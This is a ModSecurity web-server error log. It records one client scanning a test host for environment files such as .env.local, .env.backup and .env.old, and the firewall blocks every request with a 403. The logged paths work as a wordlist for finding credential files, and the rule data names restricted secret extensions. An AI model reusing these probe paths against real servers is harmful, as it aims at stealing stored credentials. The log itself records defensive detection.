[Wed Oct 30 21:04:02.829639 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7PQAAAAg&quot;]
[Wed Oct 30 21:04:02.830145 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7PQAAAAg&quot;]
[Wed Oct 30 21:04:02.830572 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7PQAAAAg&quot;]
[Wed Oct 30 21:04:02.922935 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA9QAAAAs&quot;]
[Wed Oct 30 21:04:02.923512 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA9QAAAAs&quot;]
[Wed Oct 30 21:04:02.923997 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;ZyKRMopDoVO-fkMzfHDA9QAAAAs&quot;]
[Wed Oct 30 21:04:02.926399 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7PgAAAAg&quot;]
[Wed Oct 30 21:04:02.927922 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7PgAAAAg&quot;]
[Wed Oct 30 21:04:02.928358 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;ZyKRMtGTI0UdeL8AmPV7PgAAAAg&quot;]
[Wed Oct 30 21:04:03.022125 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;ZyKRM4pDoVO-fkMzfHDA9gAAAAs&quot;]
[Wed Oct 30 21:04:03.022686 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;ZyKRM4pDoVO-fkMzfHDA9gAAAAs&quot;]
[Wed Oct 30 21:04:03.023150 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;ZyKRM4pDoVO-fkMzfHDA9gAAAAs&quot;]
[Wed Oct 30 21:04:03.025767 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.live&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;ZyKRM9GTI0UdeL8AmPV7PwAAAAg&quot;]
[Wed Oct 30 21:04:03.026056 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;ZyKRM9GTI0UdeL8AmPV7PwAAAAg&quot;]
[Wed Oct 30 21:04:03.026302 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;ZyKRM9GTI0UdeL8AmPV7PwAAAAg&quot;]
[Wed Oct 30 21:04:03.119171 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;ZyKRM4pDoVO-fkMzfHDA9wAAAAs&quot;]
[Wed Oct 30 21:04:03.121779 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;ZyKRM9GTI0UdeL8AmPV7QAAAAAg&quot;]
[Wed Oct 30 21:04:03.122347 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;ZyKRM9GTI0UdeL8AmPV7QAAAAAg&quot;]
[Wed Oct 30 21:04:03.122404 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;ZyKRM4pDoVO-fkMzfHDA9wAAAAs&quot;]
[Wed Oct 30 21:04:03.122767 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;ZyKRM9GTI0UdeL8AmPV7QAAAAAg&quot;]
[Wed Oct 30 21:04:03.122967 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;ZyKRM4pDoVO-fkMzfHDA9wAAAAs&quot;]
[Wed Oct 30 21:04:03.123448 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;ZyKRM4pDoVO-fkMzfHDA9wAAAAs&quot;]
[Wed Oct 30 21:04:03.224684 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;ZyKRM4pDoVO-fkMzfHDA-AAAAAs&quot;]
[Wed Oct 30 21:04:03.225201 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;ZyKRM4pDoVO-fkMzfHDA-AAAAAs&quot;]
[Wed Oct 30 21:04:03.225781 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;ZyKRM4pDoVO-fkMzfHDA-AAAAAs&quot;]
[Wed Oct 30 21:04:03.226276 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;ZyKRM4pDoVO-fkMzfHDA-AAAAAs&quot;]
[Wed Oct 30 21:04:03.226575 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.www&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;ZyKRM9GTI0UdeL8AmPV7QQAAAAg&quot;]
[Wed Oct 30 21:04:03.227110 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;ZyKRM9GTI0UdeL8AmPV7QQAAAAg&quot;]
[Wed Oct 30 21:04:03.227548 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;ZyKRM9GTI0UdeL8AmPV7QQAAAAg&quot;]
[Wed Oct 30 21:04:03.322976 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;ZyKRM4pDoVO-fkMzfHDA-QAAAAs&quot;]
[Wed Oct 30 21:04:03.323132 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;ZyKRM9GTI0UdeL8AmPV7QgAAAAg&quot;]
